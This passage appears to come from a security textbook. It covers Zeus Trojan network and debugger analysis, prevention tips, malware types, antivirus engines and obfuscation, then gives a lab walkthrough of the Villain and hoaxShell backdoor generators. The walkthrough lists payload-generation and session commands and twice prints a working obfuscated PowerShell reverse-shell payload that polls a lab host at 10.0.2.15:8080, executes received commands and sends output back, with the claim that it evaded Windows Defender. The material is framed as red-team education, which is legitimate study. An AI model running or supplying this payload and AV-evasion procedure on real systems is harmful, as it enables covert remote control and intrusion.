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network is provided to make malware connect to its C2 server. Different 
tools can be used as faking network or internet connections – ApateDNS 
and INetSim. ApateDNS can be used to see the requested domains made 
by the malware. It spoofs all the DNS requests to the IP address set by the 
analyst. INetSim is a free package that runs on Linux and simulates fake 
internet connectivity. In this tool, the protocols can be enabled based on 
usage like HTTP, FTP, DNS, Simple Mail Transfer Protocol (SMTP), and 
Hypertext transfer protocol secure (HTTPS). Figure 9.30 shows a simula-
tion of internet connectivity using INetSim.

Tools that can be used for network-based indicators are Wireshark and TCP View.

	•	 Wireshark: An open-source packet analyzer tool that provides information 
about traffic sources and destinations, IP addresses, domain names, port num-
bers, MAC addresses, host names, and connections. It can be used for both 
good and malicious purposes, as it can analyze the entire network and use 
filters to sort the data. However, it can also be used by cybercriminals as a 
sniffing tool to steal sensitive information on the network. Figure 9.31, shows 
the URL named n189.trafcfy.com, which can be suspicious, and the subse-
quent Figure 9.32 shows another URL fpdownload.macromedia.com, which 
has also been found in the report of ANY.RUN and it can be further analyzed.

	•	 TCP View: A Windows tool called “TCPView” is used to monitor TCP and 
UDP connections of active processes on the system. It displays both remote 
and local addresses and allows filtering by process name/ID and protocol. 
The screenshot in Figure 9.33 shows the process “zeus.exe” making UDP 
connections with a process ID of 4456.

FIGURE 9.30  Showing initiation of INetSim.

http://fpdownload.macromedia.com
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	•	 Advance Dynamic Analysis: The debugger is commonly utilized for 
observing the actions of malware, as it provides a controlled environment 
for malware creators to execute and establish breakpoints as required. The 
malware’s execution in the debugger is depicted in Figure 9.34, and vari-
ous breakpoints can be established and analyzed accordingly. Figure 9.35 
depicts the Zeus Trojan calling nt.dll, with further instructions visible. In 
Figure 9.36, all the modules that the malware is calling or executing are 
displayed, and the path can also be examined.

FIGURE 9.32  Showing output of suspicious URL.

FIGURE 9.33  Showing UDP connection.

FIGURE 9.31  Showing output of Wireshark.
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FIGURE 9.34  Output of debugger tool.

FIGURE 9.35  Call stack of Zeus Trojan.
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9.9 � PREVENTIVE MEASURES FOR TROJAN ATTACK

	•	 Maintenance of software and operating systems through frequent updates: 
Periodic refreshing of system software and operations can aid in sealing 
security flaws that are susceptible to malware manipulation.

	•	 Using antivirus software: Malware can be detected and expelled from a sys-
tem with the assistance of antivirus software. Keeping this software updated 
and conducting routine checks is imperative.

	•	 Avoiding suspicious email attachments: Malware can be spread through 
email attachments, so it is important to avoid opening attachments from 
unknown or suspicious sources.

	•	 Being cautious with links in emails and online: Malicious links can spread 
malware, so it is important to be cautious when clicking on links in emails 
and online.

	•	 Using strong passwords: Keeping strong passwords can help prevent unau-
thorized access to a system.

	•	 Backing up important data: Regularly backing up important data can help 
protect against data loss in the event of a malware infection.

	•	 Limiting user privileges: Limiting the privileges of users on a system can 
help prevent malware from gaining elevated access to the system.

	•	 Disabling unnecessary services and ports: Disabling unnecessary services 
and ports can reduce the attack surface of a system and make it less vulner-
able to malware.

	•	 Educating users: Educating users about the risks associated with malware 
and how to avoid it can help reduce the likelihood of a successful attack.

	•	 Monitoring for unusual or suspicious activity: Regularly monitoring for 
suspicious activity, such as unexpected changes to system files or unusual 
network traffic, can help detect malware infection in its early stages.

9.10 � ADDITIONAL MEASURES

Refrain from accessing files or attachments sent by unidentified recipients, even when 
they appear to originate from reputable sources. Utilize online tools such as Hexeditor 
and VirusTotal in a private browsing mode to verify the safety of documents. To scru-
tinize an email’s source, use web-based resources like the MX toolbox that analyzes 

FIGURE 9.36  Showing modules of Zeus Trojan.
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headers of emails thoroughly. Websites containing malicious content can be safely 
scanned with free internet services such as VirScan and VirusTotal, which analyze 
URLs and files, minimizing risk exposure. Installing ad-blocking software will help you 
evade hazardous click-bait advertisements normally infused with malware-inducing 
pop-up windows promising rewards/prizes, etc. Resilience against harmful threats is 
further achieved via familiarizing oneself with hackers’ methods extracted through 
news reports; implementing two-step verification processes at login portals ensures 
account security too while refraining altogether visits to mature-content/or illegal sites 
mitigates chances involving unwanted virus infiltration. Avoid utilizing unauthorized 
freeware applications under any circumstance presenting them – these inadvertently 
carry dangerous programming irreparable even after removal unlike genuine ones 
whose developers are accountable and hence provide accountability and support should 
a malfunction occur, escalating trust level overall. Conscientiously employing these 
safeguards greatly reduces one’s vulnerability toward potential cyber-attacks thus offer-
ing a seamless cyberspace experience, preserving hardware integrity in longer run.

9.11 � CONCLUSION

For many years, the Zeus banking Trojan malware has posed a significant risk to 
financial security systems. This in-depth research study unveils the malicious meth-
ods exploited by this dangerous software to pilfer crucial information from its targets. 
The damaging impacts of such Trojans on both individuals and business entities are 
underscored through these findings necessitating vigilant defense tactics against their 
onslaughts, including sophisticated ones like Zeus known for its evasive capabili-
ties and control over infected devices. The approach taken by this obtrusive program 
includes corrupting web browsers and stealing login details, making it easy to swipe 
vital fiscal data apart from wielding stealth features, further complicating detection 
efforts. It becomes imperative then that robust protection protocols be put into place 
starting with updating antivirus applications regularly, opting for complex password 
combinations plus exercising caution while dealing with emails or links emanating 
from undisclosed sources. This research paper serves as a reminder of the need for 
continued vigilance against the threat of banking Trojans and the importance of stay-
ing informed about the latest threats to financial security. The Zeus banking Trojan 
malware is a significant threat to the security of financial systems. By employing 
robust security measures and staying informed about the latest threats, individuals 
and organizations can reduce the risk of infection and protect against the loss of sensi-
tive information. Through continued research and analysis, it is possible to stay ahead 
of evolving threats and ensure the security of financial systems for years to come.
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10.1 � INTRODUCTION: MALWARE AND TYPES OF MALWARE

Malware, short for harmful software, poses a threat to both individuals and organiza-
tions globally. Its forms, which include viruses, worms, trojans, ransomware, and 
adware, can be spread through multiple means, such as email attachments and social 
engineering tactics. Once malware infects a computer, it results in system crashes, 
stolen sensitive information, and unauthorized access, causing significant financial 
and sensitive information losses. To guard against malware, keep operating systems 
and software up-to-date, use anti-malware and antivirus software, and exercise dis-
cretion with attachments and links from unknown sources. There are various mal-
ware types with singular characteristics and potential harms [1] [2]:

Viruses: Malware is a program that can attach itself to a genuine file and repro-
duce when the file is opened. In 1971, the “Creeper virus” was identified as 
the initial computer virus. It wasn’t until the early 1990s that the first true 
computer viruses were introduced [3].

Worms: A worm can spread to other systems without relying on a host pro-
gram, unlike a virus. These are often spread through exploiting system or 
software vulnerabilities. The “Morris worm,” discovered in 1988, is the 
first documented case of such destruction, resulting in extensive damage to 
internet-connected computer systems [4].

Trojans: Malware disguised as a legitimate program, Trojan horses provide 
attackers with access to infected computers upon execution. Social engi-
neering, infected websites, and email attachments frequently facilitate the 
spread of these types of malware. The name “Trojan horse” is a reference 
to the Greek story in which a wooden horse was gifted to the Trojans and 
soldiers hidden inside attacked the city [5].

Ransomware: This malicious software encrypts files on a computer, render-
ing them unusable until payment is made to the attacker. Its prevalence has 
made it a major hazard to computer security.
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Adware: The software type that demonstrates uninvited advertisements on 
a device is a form of malware. It frequently accompanies legal software 
and may be challenging to eliminate after installation. Although it may not 
directly damage the device, it can obstruct user productivity by decelerating 
the device.

Rootkit: A specific type of malicious software, known as a rootkit, is crafted to 
shield additional malware, posing difficulty for identification and elimina-
tion. Rootkits function on the operating system’s core level, or its kernel, 
and alter system calls.

Spyware: Malware of a certain kind is created to gather personal data from 
the compromised computer without the owner’s authorization or awareness. 
This kind of malicious software is capable of monitoring keystrokes, cap-
turing screenshots, and obtaining confidential information, including login 
credentials and financial details.

Fileless Malware: A kind of malicious software that operates solely on a com-
puter’s memory and doesn’t leave any evidence on the hard drive. This mali-
cious software leverages legitimate tools and actions to execute harmful 
tasks and is sometimes referred to as memory-based malware or living-off-
the-land malware.

Banking Trojan: Cybercriminals have developed a type of harmful code aimed 
at accessing private financial data such as the numbers on credit cards and 
login credentials. This software can be spread through trickery emails or 
corrupted sites, and it can cause damage by taking money from web-based 
bank accounts and altering automated teller machines.

Polymorphic Malware: This malicious software utilizes a programming tech-
nique where it constantly changes its physical or digital characteristics by 
implementing fresh decryption algorithms. It can change its appearance and 
evade antivirus software using various techniques like code obfuscation, 
encryption, and mutation.

DDoS Botnets: The harmful program is used to launch DDoS attacks by flood-
ing websites and networks with an excessive amount of traffic from infected 
devices, ultimately causing them to malfunction.

Mobile Malware: Malicious software designed to target mobile devices like 
tablets and smartphones comes in various forms, like viruses, trojans, and 
spyware. This detrimental program can result in a range of problems, such 
as unapproved access, data theft, and system failures.

IoT Malware: Smart home devices and surveillance cameras linked to the 
Internet of Things (IoT) are prone to targeted malicious software, which can 
exploit weaknesses in them to access and cause a range of problems, includ-
ing data theft, system crashes, and unauthorized entry.

Cryptojacking Malware: Cryptojacking malware is malware that can be 
installed on a computer through various means including phishing or infected 
websites. Alternatively, code may be inserted in digital ads or web pages that 
run only when a particular site is visited.

Advanced Persistent Threat (APT): APTs are a form of malicious software 
created to infiltrate networks and maintain long-term access, typically used 
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for espionage or stealing intellectual property. Due to their sophisticated 
features and covert style, they are challenging to spot and eradicate.

Fileless Malware: This malicious software operates solely from the comput-
er’s memory and does not leave any evidence on the hard drive. It employs 
legal applications and procedures to execute harmful activities and goes by 
the names memory-based and living-off-the-land malware.

Supply Chain Malware: Malware that specifically targets software supply 
chains involves the insertion of malicious code into the software develop-
ment process, ultimately reaching end users. Its clandestine nature makes it 
difficult to identify, as it can be concealed within authentic software.

Stealth Malware: This specific malware is created to avoid being detected by 
hiding from the operating system, antivirus programs, and other security 
tools. The main goal of this malware is to get access to sensitive information 
by having a continuous presence on the system.

Banking Malware: Malware created to obtain banking credentials and finan-
cial data from a compromised computer is a known threat. This particular 
malware is capable of conducting online banking fraud and removing funds 
from the account holder’s bank account.

Keyloggers: A malicious software exists that records all keyboard inputs on 
a compromised computer. This malware can be utilized to acquire private 
information like credit card details, login credentials, and sensitive data.

Scamware: This form of malicious software deceives users into completing an 
action, like sending payment for a ransom or browsing a harmful website. 
Common delivery methods include phishing emails, pop-up ads, or false 
software updates.

File Encrypting Malware: A specific kind of malicious software can lock 
away files on a compromised computer and ask for money in exchange for 
access to the data. This form of malware can bring about severe damage 
since it prevents access to crucial information.

10.2 � ANTIVIRUS SOFTWARE

Security software that is designed to identify and eliminate viruses, as well as other 
malicious programs like adware and spyware, is known as antivirus software. The 
software scans the files present in a computer and identifies any potentially harm-
ful code before deleting or quarantining the infected files. Antivirus software uses a 
range of methods to detect viruses such as signature-based detection, heuristic detec-
tion, and behavior-based detection. Signature-based detection works by comparing 
the files on a computer to a database of virus signatures, whereas heuristic detection 
looks for common patterns or characteristics of viruses. Behavior-based detection 
monitors the behavior of programs and files on a computer to flag anything that 
seems suspicious.

To ensure the safety and security of a computer, it’s crucial to use antivirus soft-
ware, as viruses can result in various problems like decreasing computer performance 
to taking personal information. Furthermore, they can infect other computers, leading 
to network harm. Maintaining the software and scheduled scanning sessions is helpful 
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in safeguarding a computer from newly recognized viruses. Nevertheless, antivirus 
software is inadequate on its own to protect a computer from all digital threats. 
Consequently, utilizing reputable anti-malware software, practicing safe browsing 
habits, and utilizing a firewall are also essential.

10.2.1 � Antivirus Evasion and Types of Antivirus Search Engines

Cybersecurity professionals face a challenge when it comes to antivirus evasion as 
malware is designed in a way that it can evade detection. This increases the risks of 
successful cyber-attacks. The goal of antivirus evasion is to avoid being detected by 
antivirus software for as long as possible, which allows malware to propagate and 
cause damage to systems and networks. There are several techniques that malware 
authors use to avoid detection, including code obfuscation, code signing, advanced 
payload delivery methods, living-off-the-land techniques, and AI-based techniques.

Several types of antivirus search engines are used to protect computers and net-
works from malware and other malicious software. These include static-based, file-
based, heuristic-based, signature-based, cloud-based, and behavioral-based antivirus 
search engines.

10.2.2 �S tatic Engine

In static engine, an antivirus compares the signature of the program to its database of 
signature and based on it flags the program as malware. In reality, it is easy to bypass 
the static engine as small changes in the program change its signature and easily 
bypass the static engine. Yara tool is mostly used by many different antivirus vendors 
as a static engine as its rules are written daily by antivirus security analysts. The flow 
diagram of a static engine is shown in Figure 10.1 [6].

File format                                 Sta�c Engine                                   Valida�on

.EXE

.DLL

.DOCX

.PDF

More files

Comparing with a 
sta�c signature file

Malicious or Benign

Sta�c signature 
database file

FIGURE 10.1  Antivirus static engine [6].
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10.2.3 �F ile-Based Antivirus Search Engines

File-based antivirus search engines scan the files on a computer or network for known 
viruses and malware. Using a virus signature database, the complete file-based anti-
virus function performs file-based scanning on specified application layer traffic. 
They typically use a database of known malware signatures to identify and remove 
threats. This type of antivirus search engine is generally considered to be the most 
basic and least effective type of antivirus software. It is mainly used to protect older 
computers and networks that are not connected to the internet [7].

10.2.4 �H euristic-Based Antivirus Search Engines

Heuristic-based antivirus search engines use algorithms to detect patterns and behav-
iors that are characteristic of malware. This allows them to identify new or unknown 
viruses that are not included in the database of known malware signatures. These 
search engines are considered to be more advanced and effective than file-based anti-
virus search engines. They are typically used to protect computers and networks that 
are connected to the internet [6].

10.2.5 �S ignature-Based Antivirus Search Engines

A malware can be detected and removed by comparing files to a database of known 
malware signatures. This type of an antivirus search engine has a high success rate 
when it comes to detecting and removing known malware. However, it may face 
challenges when it comes to identifying and removing new or unknown malware. 
Signature-based antivirus search engines are commonly used to safeguard personal 
computers and small networks without internet connectivity [8].

10.2.6 �C loud-Based Antivirus Search Engines

Cloud-based antivirus search engines use a cloud-oriented database for conducting 
scans on files to detect viruses and malware is an effective measure. This database is 
consistently updated with new malware definitions, ensuring that search engines can 
effectively and efficiently remove the most recent threats. Antivirus search engines 
based on the cloud have been deemed highly successful in guarding against internet-
connected computers and networks. They are frequently employed for safeguarding 
extensive networks and enterprise-level systems [9].

10.2.7 � Behavioral-Based Antivirus Search Engines

Behavioral-based antivirus search engines use machine learning, so it is possible 
to track and analyze the actions of software on a computer or network, enabling 
the identification and elimination of malicious software through its behavior. These 
types of antivirus programs have proven to be especially useful in defending against 
sophisticated malware and newly created attacks. Generally, they are implemented in 
network setups or systems for businesses.



Villain� 201

10.3 � OBFUSCATION TECHNIQUE AND ANTI-STATIC 
OBFUSCATION TECHNIQUES

Malware developers frequently employ packing and obfuscation techniques to 
conceal their malicious files, making them more difficult to identify and analyze. 
Obfuscation involves confusing the text and binary data within the malware, making it 
harder for security professionals to understand and analyze the code. This is achieved 
by hiding important strings, such as registry keys and malicious URLs, within the 
software as they reveal the behavior patterns of infection. Packed programs, a subset 
of obfuscated programs, further conceal the harmful code by compressing it, making 
it even more challenging for security professionals to examine and analyze the pro-
gram. Detecting malware becomes challenging due to the implementation of packers 
and obfuscation methods. Normal applications have an abundance of strings in their 
code, making it easier to dissect. However, packed and obfuscated malware have 
comparatively fewer strings, thus posing a challenge for security professionals. The 
use of such anti-static obfuscation techniques by malware developers has led to the 
need for effective detection methods. Identifying and analyzing malware is increas-
ingly difficult due to its implementation. As a result, it is essential for security profes-
sionals to continuously develop novel methods to stay ahead of the threat. Keeping 
abreast of the newest anti-static obfuscation techniques is crucial [10] [11].

	•	 Change the order of the code
The execution order of computer instructions can be easily altered through 
a technique known as obfuscation. This involves the addition of uncondi-
tional jump statements to the program code, which changes the sequence 
of execution without affecting the functionality of the malware program. 
This technique serves as a means to conceal the true intentions of the pro-
gram and makes it more difficult for security systems to detect and stop 
it. Obfuscation techniques can be used to conceal malicious activities and 
evade security measures, making it more challenging for security experts 
to defend against malware attacks. The use of obfuscation techniques by 
malware developers is a growing trend, highlighting the need for security 
systems to constantly evolve and adapt to new threats. Obfuscation tech-
niques are simple to implement, but their effectiveness in concealing the 
intent of a program and evading security systems makes them a powerful 
tool for malware developers.

	•	 Redundant Data Insertion
Malware authors often use the technique of injecting dead code into their 
programs to create new variations of the same infection, which can evade 
signature-based detection systems. This obfuscation method creates a 
unique signature by introducing duplicated code, making it more challeng-
ing for static analysis to identify the dead code that does not contribute to 
the malware’s malicious activity. The additional task of investigating the 
dead code adds to the workload of the analyst. Despite the presence of dead 
code, the malicious intent of the software remains unchanged. The malware 
uses unconditional jump statements to bypass the duplicated code block and 
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maintain its original executive order. This method of obfuscation affects 
only the static analysis and not the malware’s intended impact.

	•	 Equivalent Code Replacement
This method of obfuscation modifies the instructions of the malware while 
preserving its semantic meaning. As a result, various versions of the same 
malware file can be created, making it difficult to detect all possible varia-
tions with a single signature. To effectively address this issue, unique sig-
natures are required to detect every possible variation of the same infection. 
However, this process is not straightforward, especially as more and more 
variations of the same infection continue to emerge. The complexity of the 
task increases with the growth in the number of variations.

It is crucial to comprehend the use of obfuscation techniques in malware. 
Here are some common obfuscation techniques used to conceal malicious 
strings [12]:

	•	 Insertion of Dead Code
The technique of dead-code insertion can modify the form of a program 
without any change in its operation. An instance of this technique is the 
insertion of NOP commands, which permit the easy concealment of the 
program’s original code. However, antivirus scanners with signatures could 
remove these commands before examining the code. The NOP command 
is non-functional and does not influence registers or flags. Despite being a 
simple method, it has no effect on the behavior of the program. The NOP is 
usually utilized to allot memory or introduce a delay in execution.

	•	 Xor
The method of swapping data values between variables is frequently 
employed in coding to obscure information. It proves to be an effective 
strategy for concealing data and impeding its accessibility, hence making it 
a popular approach for obstructing data analysis.

	•	 Register Reassignment
The process of modifying specific register variables to conceal the original 
code while maintaining the program’s functionality is known as register 
reassignment. This method, which is commonly used for code obfusca-
tion, can be challenging to identify and overcome with antivirus programs. 
Despite this, it remains a simple and effective method for concealing code 
without altering its fundamental operations.

	•	 Subroutine Reordering
Subroutine reordering is the term applied to the process of randomly rear-
ranging a code’s subroutines, which results in numerous distinct versions of 
the code. The total number of variations is dependent on the factorial num-
ber of subroutines that were originally present. This method makes it chal-
lenging for antivirus software to recognize malware signatures within the 
code. Nonetheless, even after the rearrangement, the code’s overall behav-
ior remains the same, thereby making subroutine reordering an impactful 
technique to deceive signature-based antivirus software.
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10.4 � VILLIAN TOOL: BACKGROUND OF TOOL

The villain is a Windows and Linux backdoor generator that is used for the anal-
ysis of infected files and documents by creating a payload [13]. It uses a multi-
session handler that connects it with sibling servers and shares their backdoors so 
that they can work as a team [14]. It has a built-in auto-obfuscation payload feature 
that aims to help users bypass anti-virus (AV) solutions (for Windows payloads). 
Each generated payload works only once. It is not possible to reuse a payload that 
has already been used to establish a session. Communication between peer servers is 
Advanced Encryption Standard (AES) encrypted using the incoming peer server ID 
as the encryption key and the first 16 bytes of the local server ID as the IV. During 
the initial connection handshake between two sibling servers, the identity of each 
server is exchanged in clear text, which can be captured and used to decrypt traffic 
between all the servers that are linked with each other. It is considered very “weak.” 
This tool is not intended to be particularly secure as it is designed for penetration 
testing/red teaming evaluations with this encryption scheme is sufficient. Linked 
rogue instances (sibling servers) must also be able to reach each other directly. I’m 
going to add a network route mapping utility to allow sibling servers to proxy each 
other and achieve cross-network communication between them. The villain incorpo-
rates an auto-obfuscation payload feature that helps users bypass their antivirus (for 
Windows payloads). So, the payload is (at the moment) unrecognized. The payloads 
generated by Villain are written in the Powershell language. The main idea behind 
the payloads produced by this tool is inherited from hoaxShell. Villains are a highly 
steroid-induced version of that. Certain limitations need to be taken care of before 
using the tool such as backdoor shell hangs when executing commands to start inter-
active sessions.

There are various advantages. On Windows, you can also run the generated pay-
load in PowerShell Constrained Language mode. Generated payloads can be exe-
cuted by users with limited privileges. The villain is completely written in Python3 
language and is very user-friendly. The villain incorporates an automatic obfuscation 
payload feature that helps users bypass antivirus (for Windows payloads). So, the 
payload is (at the moment) unrecognized. Detection by Windows Defender (which is 
the default AV in Windows OS and is very well suited for this job) describes various 
ways to bypass AV detection during red team operations. These techniques are not 
limited to payloads from these tools. The villain can also be used for establishing the 
reverse connection.

10.5 � HOAXSHELL: VILLAIN IS AN INHERITANCE OF HOAXSHELL

Hoaxshell is a reverse shell payload generator and handler for Windows that takes 
advantage of the HTTP (s) protocol to create a reverse shell that looks like a beacon. 
This idea may be used to create sessions that give the appearance of having a real 
shell (which may be done using protocols other than HTTP or even sockets/pre-
installed exes). Despite the tool’s name, I prefer to refer to such implementations 
as a hoaxshell because they are rather false in comparison to conventional reverse 
shells. Hoaxshell, although a little unusual, performed well against AV programs. 
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Even though Microsoft Defender can now identify it, it is simple to manually or 
with other tools conceal the created payload(s)tested on computers running the most 
recent versions of Windows 10 Pro, Windows Server 2016 Datacenter, and Windows 
11 Enterprise. Using sockets or other protocols in addition to HTTP, or even pre-
installed exes, this concept may be utilized to build sessions that look to have a real 
shell. Despite the tool’s name, it has often been preferable to refer to such imple-
mentations as a hoaxshell since they differ from traditional reverse shells in that they 
are partly misleading. To avoid detection, hoaxshell randomly produces the session 
ID, URL routes, and name of a custom HTTP header each time the script is run. 
The created payload will only be used by the instance for which it was generated. 
Utilize the -g option to circumvent this behavior and resume an ongoing session or 
use a previously created payload with a brand-new instance of hoaxshell. When we 
run hoaxshell, it creates its own PowerShell payload that you may copy and inject 
onto the target. For convenience, the payload is by default base64 encoded. If we 
need the payload in its raw form, launch hoaxshell with the -r argument or use the 
“raw payload” prompt command. After the payload has been executed on the victim, 
it will be able to issue PowerShell commands against the target. Hoaxshell uses an 
HTTP header to transmit shell session data. Regex-based AV rules may recognize 
the header’s random name, which is given to it by default. Use the -H option to set a 
standard or distinctive HTTP header name to prevent detection. When a hoaxshell is 
launched in grab session mode while the payload is still running on the target system, 
it will try to re-establish a session in case you accidentally close your terminal, have a 
power outage, or take some other action. When a hoaxshell is launched with identical 
specifications (http/https, port, etc.) as the session you are trying to recover, extreme 
caution must be used. The limitations of hoaxshell are the same as those of the 
Villain. Hoaxshell, a pseudo-reverse shell, targeting Windows endpoints. The hoax-
shell payload is referred to as a pseudo-reverse shell since it generates a shell that 
uses HTTP(S) to send commands and receive responses. This does not rely on trans-
port layer protocols for communication, in contrast to conventional reverse shells. 
PowerShell is the attack mechanism used by hoaxshell. Other attackers may reach 
Windows endpoints and maintain their persistence by using PowerShell. Attackers 
can also conceal the payloads of hoaxshell to get around various anti-malware tools. 
Hoaxshell can be used by phishing attempts to get early access to internal endpoints 
and networks. Because the hoaxshell communicates via common ports like 80 or 
443, attacks utilizing it are very likely to bypass port-based firewalls. An attacker 
can inject hoaxshell scripts into previously used documents by using macros. These 
assaults will be devastating if the victim does not have any attack detection measures 
in place [15–17].

10.6 � LAB SETUP

To setup a Windows and Linux machine on VirtualBox for AV Bypass:

	•	 Download and install VirtualBox from https://www.virtualbox.org/
	•	 Create a new virtual machine for Windows by clicking on the “New” button 

in the VirtualBox Manager

https://www.virtualbox.org/
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	•	 Give the Windows machine a name and select “Windows” as the type and 
version (e.g., Windows 11)

	•	 Assign at least 4 GB of RAM to the virtual machine
	•	 Create a virtual hard disk for the Windows machine and select VDI 

(VirtualBox Disk Image) as the file type
	•	 Allocate enough space for the Windows installation (at least 20 GB) and 

select “Fixed size” as the storage type
	•	 Repeat steps 2 to 6 to create a virtual machine for Linux. Select Linux as the 

type and version (e.g., Debian)
	•	 Download the ISO image of the Windows and Linux operating systems you 

want to install
	•	 Start the Windows virtual machine and select the Windows ISO as the boot 

medium
	•	 Follow the Windows installation wizard to install Windows on the virtual 

machine
	•	 Repeat step 10 for the Linux virtual machine using the Linux ISO
	•	 After the installation, configure the network settings for both virtual 

machines in the VirtualBox Manager
	•	 Start both virtual machines and log into each one to verify that they are 

working properly.

This is a basic setup for Windows and Linux machines on VirtualBox. You can fur-
ther customize the virtual machines to meet your needs (Figures 10.2 and 10.3).

FIGURE 10.2  Windows 11 VirtualBox.

FIGURE 10.3  Kali Linux VirtualBox.
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10.7 � GENERATION OF PAYLOAD AND BYPASSING ANTIVIRUS

The tool is taken from GitHub and can be used in different versions of Ubuntu. In 
Figure 10.4, the villain is used in the Kali Linux distribution of version 2022. The 
various commands used in Villain have been discussed below in detail [13].

The villain facilitates the following facilities under the help section in Figure 10.5.

In Figure 10.6, the help menu for connect is shown, which explains the connect 
command. Connect command can be used to connect with another system that is run-
ning the villain tool and making it a sibling server.

	•	 Connect <IP> <CORE_SERVER_PORT>

FIGURE 10.4  Home page of villain tool.

FIGURE 10.5  Villain help section.
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In Figure 10.7, the help menu of generate is shown, which means that by using 
this command payload can be generated for different operating systems like Windows 
and Linux. To generate a payload in Windows, the following command is used.

For Windows:

	•	 generate os=windows lhost=<IP or INTERFACE> [ exec_outfile=<REMOTE 
PATH> domain=<DOMAIN>] [ obfuscate encode constraint_mode ]

Use exec_outfile to write & execute commands from a specified file on the 
victim (instead of using IEX):

	•	 generate os=windows lhost=<IP or INTERFACE>  
exec_outfile="C:\Users\\\$env:USERNAME\.local\hack.ps1"

For Linux:

	•	 generate os=linux lhost=<IP or INTERFACE> [ domain=<DOMAIN> ]

Figure 10.8 shows the help menu of siblings, which are other instances of Villain 
that can relate to each other.

FIGURE 10.6  Villain connect command working.

FIGURE 10.7  Working of generating command in Villain.

FIGURE 10.8  Sibling command.
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Figure 10.9 shows the help menu of sessions, which is used to check the sessions 
of backdoor machines that have been successfully poisoned.

Figure 10.10 shows the help menu for backdoors. Once the sessions have been 
created, the backdoors command is used for shell and listener types of backdoored 
machines that have been successfully poisoned.

Figure 10.11 shows the help menu of exec, which tells about executing the com-
mand after the backdoors have been generated; execute command is being used to 
file against an active backdoor session.

	•	 exec <COMMAND or LOCAL FILE PATH> <SESSION ID or ALIAS>

Figure 10.12 shows the help menu of the shell command. After the execution, the 
shell is created by using the shell command, which enables an interactive pseudo-
shell for a session. We use Ctrl +C for disabling.

	•	 shell <SESSION ID or ALIAS>

FIGURE 10.9  Session command.

FIGURE 10.10  Backdoors commands.

FIGURE 10.11  Execute command.
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Figure 10.13 shows the help menu of the alias, which can be used instead of the 
session ID.

	•	 alias <ALIAS> <SESSION ID>

Figure 10.14 shows the help menu of reset, which is used for resetting a given 
alias to the original session ID.

	•	 reset <ALIAS>

Figure 10.15 shows the help menu of the kill command, which is used for termi-
nating a self-owned backdoor session.

	•	 kill <SESSION ID or ALIAS>

FIGURE 10.12  Shell command.

FIGURE 10.13  Alias command.

FIGURE 10.14  Reset command.

FIGURE 10.15  Kill command.
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Figure 10.16 shows the help menu of the repair command, used to manually cor-
rect a session’s hostname information in case the Villain does not interpret the infor-
mation correctly when a backdoor session is established.

	•	 repair <SESSION ID> <HOSTNAME or USERNAME> <NEW VALUE>

Figure 10.17 shows the payload that is generated for the Windows operating sys-
tem in the raw format.

	•	 generate os=windows lhost=eth0

Figure 10.18 shows base64 encoded payload, which is generated using the villain 
tool.

	•	 generate os=windows lhost=eth0 encode

FIGURE 10.16  Repair command.

FIGURE 10.17  Image of raw payload.

FIGURE 10.18  Image of base64 encoded payload.
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Figure 10.19 shows the obfuscated payload, which means it’s packed with gar-
bage code or encryption key, and it generates a unique string every time it is executed 
and once the string has been executed then the same string can’t be used again.

Obfuscation: Masking the code to make it appear benign or hiding it behind 
encryption.

Script signing: Sign the code with a trusted digital certificate to make it appear 
legitimate.

Fileless execution: Running the code directly in memory without saving it to 
disk, making it more difficult for traditional antivirus to detect.

	 •	 generate os=windows lhost=eth0 obfuscate

As shown in Figure 10.19, the generated payload, edition was done to make it unde-
tectable from the security parameters present in the system. In Figure 10.20, the 
edited payload is run in the target system. The omission of http:// has been done from 
the generated payload.

STARt-Pro'CE'ss $PSHOME\powershell.exe -aRgUmeNtliSt 
{$5=$('10.0.2.15'+':8080');$acf6d='5536401a-101bfc1a-50e5a3aa';$e690798 
=$('7f2be0' -RePLAce '[\d\w\d(b|\?)(e|\?)]{5}[\d]{1}','http://');$b499b5=i'rM'  
-USEBaSiCpARsINg -uri $e690798$5/5536401a/$env:COmpUTernAMe/ 
$env:USernAme -HeaderS @{"Authorization"=$acf6d};for (;;){$e6=(i'rM'  
-USEBaSiCpARsINg -uri $e690798$5/101bfc1a -HeaderS 
@{"Authorization"=$acf6d});if ($e6 -ne ('No'+'ne')) {$8a7=i'Ex' $e6  
-ERrOractiON s'TO'p -errOrvARIabLe aa04;$8a7=O'Ut-strInG' 
-INpUTObJEct $8a7;$33=i'rM' -uri $e690798$5/50e5a3aa -MeTHOD 
POST -HeaderS @{"Authorization"=$acf6d} -BoDy ([sysTEm.TexT.
encODiNG]::utF8.GETByTES($aa04+$8a7) -JOIn ' ')} S'Le'eP 0.8}} -wiN-
DOWsTyLE Hid'DEN'

FIGURE 10.19  Image of obfuscated payload.

FIGURE 10.20  Image of payload that is executed in PowerShell.
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In Figure 10.21, Windows security features are on, and the payload was executed 
without any detection in the target system.

STARt-Pro'CE'ss $PSHOME\powershell.exe -aRgUmeNtliSt 
{$5=$('10.0.2.15'+':8080');$acf6d='5536401a-101bfc1a-50e5a3aa';$e690798 
=$('7f2be0' -RePLAce '[\d\w\d(b|\?)(e|\?)]{5}[\d]{1}');$b499b5=i'rM' 
-USEBaSiCpARsINg -uri $e690798$5/5536401a/$env:COmpUTernAMe/ 
$env:USernAme -HeaderS @{"Authorization"=$acf6d};for (;;){$e6=(i'rM'  
-USEBaSiCpARsINg -uri $e690798$5/101bfc1a -HeaderS @
{"Authorization"=$acf6d});if ($e6 -ne ('No'+'ne')) {$8a7=i'Ex' $e6 
-ERrOractiON s'TO'p -errOrvARIabLe aa04;$8a7=O'Ut-strInG' 
-INpUTObJEct $8a7;$33=i'rM' -uri $e690798$5/50e5a3aa -MeTHOD 
POST -HeaderS @{"Authorization"=$acf6d} -BoDy ([sysTEm.TexT.
encODiNG]::utF8.GETByTES($aa04+$8a7) -JOIn ' ')} S'Le'eP 0.8}} -wiN-
DOWsTyLE Hid'DEN'

Figure 10.22 shows a backdoor session, which is established to know the session 
ID of the target system, and it can be achieved using a shell command.

The payload only gives user-level privilege, and it can’t give kernel-level access. 
To get kernel-level access, vertical and horizontal privilege escalation needs to be 
done. The information of the target system can be checked, which is shown in Figure 
10.23 using the command systeminfo. Other commands can also be executed to spy 
on the target machine or to make a remote attack.

Figure 10.24 shows the generation of payload for the Linux operating system.
In Figure 10.25, the generated payload has been run in the target system – Kali 

(Ubuntu Distribution) and it is successfully executed.
Figure 10.26 shows the backdoor session established to know the session ID of 

the Linux machine which is known by using the session command. Session ID has 
been given and further, it can be used to enter into the target.

